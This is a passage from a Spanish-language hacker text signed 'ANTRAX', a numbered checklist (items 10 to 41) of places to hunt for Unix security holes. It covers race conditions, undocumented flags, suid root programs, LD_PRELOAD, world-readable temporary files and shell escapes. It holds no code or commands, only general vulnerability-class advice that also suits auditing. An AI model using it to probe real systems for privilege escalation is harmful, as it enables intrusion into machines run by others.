10) Buscar en los textos man, y guias de usuario las advertencias en contra de las
X, y tratar variaciones de X. Hacer lo mismo con la seccion de bugs.

11) Buscar comandos o funciones raramente usados o inusuales. En particular seria util
buscar argumentos indocumentados. Buscar flags de distribuciones anteriores, o en
versiones de otros sistemas operativos. Chequear las opciones que otros programas
podrian usar. Por ejemplo, Telnet usa la opcion -h para conectarse...

12) Buscar condiciones raciales.

13) Fallos del software para verificar que realmente esta comunicandose con el software
o modulo de hardware al que quiere acceder.

14)  Falta de deteccion de errores para resetear los mecanismos de proteccion
siguientes al error.

15)  Implementacion pobre que da como resultado, por ejemplo, codigos de condicion
testeados inapropiadamente

16)  Confianza inplicita: La rutina B asume que los parametros de la rutina A son
correctos por que la rutina A es un proceso de sistema

17)  El sistema almacena sus datos o referencia parametros de usuario en el espacio
disponible de las direcciones de usuarios

18)  Enterrar procesos de comunicación: condiciones de retorno  (passwd OK, illegal
parameter, segment error, etc) pueden proporcionar una brecha significativa cuando
son combiandos con el paso 17

19)  Los parametros de usuario pueden no estar adecuadamente chequeados.

20)  Direcciones que sobrepasan o se refieren a areas del sistema

21)  Las comprobaciones de condicion de codigo pueden omitirse

22)  Fallo al anticiparse a parametros inusuales o extraordinarios

23)  Buscar niveles del sistema donde los modulos alli involucrados fueron escritos
por programadores diferentes, o grupo de programadores - se suelen encontrar agujeros.

24)  Registros que apuntan a la localizacion de valores de parametros en vez de pasar
el parametro el mismo.

25)  Cualquier programa ejecutandose con privilegios de sistema (a muchos programas se
les da UID 0, para facilitar el acceso a ciertas tablas, etc)

26)  Archivos temporales, buffers leibles por grupos o por todo el mundo

27)  Carencia de valores de "umbral", y carencia de notificacion una vez se han
accionado estos.

28)  Cambiar parametros de areas criticas del sistema antes de su ejecucion.

29)  Comprobacion inadecuada de los limites al compilar, por ejemplo, un usuario puede
ser capaz de ejecutar codigo maquina disfrazado como datos en un area de datos
(si las areas de texto y datos estan compartidas)

30)  Manipular incorrectamente interrupciones asincronas generadas por usuarios.
Usuarios interrumpiendo un proceso, realizando una operación, o bien volviendo para
continuar el proceso o comenzar otro dejaran a menudo el sistema en un estado de
desproteccion. Archivos parcialmente escritos se dejan abiertos, escritura incorrecta
de mensajes de infracciones de proteccion, puesta incorrecta de bits de proteccion, etc,
suelen ocurrir.

31)  Codigo que usa fopen(3) sin poner la umask. (ej: at(1), etc.). En general, codigo
que no resetea el UID real y efectivo antes de bifurcarse

32)  Tracear es muy util para ayudarte a descubrir que llamadas de sistema usa un programa

33) Escanea los sistemas de archivos /usr/local de cerca. Muchos administradores
instalaran software de la red. A menudo encontraras tcpdump, top, nfswatch,... suid
root por su facilidad de uso.

34) Comprobar que los programas suid fueron los que originalmente se pusieron en el
sistema. Algunas veces los administradores reemplazaran el password por uno menos
seguro que el de las distribuciones.

35) Buscar programas que se usaran para instalar software o modulos de kernel

36) Programas enlazados dinamicamente en general. Recuerda LD_PRELOAD, creo que esa
era la variable.

37) La programacion de canales de I/O (Entrada/Salida) es es un blanco primario.
Busca errores logicos, inconsistencias, y omisiones.

38) Ver si es posible que un programa de canales I/O pueda automodificarse, hacer un
loop, y asi ejecutar el nuevo codigo modificado.

39) Si los canales I/O actuan como procesadores independientes tendran acceso ilimitado
a la memoria, y asi el codigo de sistema podria ser modificado en memoria previamene
a su ejecucion.

40) Buscar bugs que requieran errores en multiples partes del software,ej: di por
ejemplo que el programa "a" puede usarse para cambiar el fichero de configuracion /etc/a ,
ahora el programa "b" asume que la informacion de a es correcta y esto lleva a resultados
inesperados (solo mira cuantos programas confian en el fichero /etc/utmp)

41)  Cualquier programa, especialmente los suid/sgid, que permites "escapadas" a shell.

Saludos!

            ANTRAX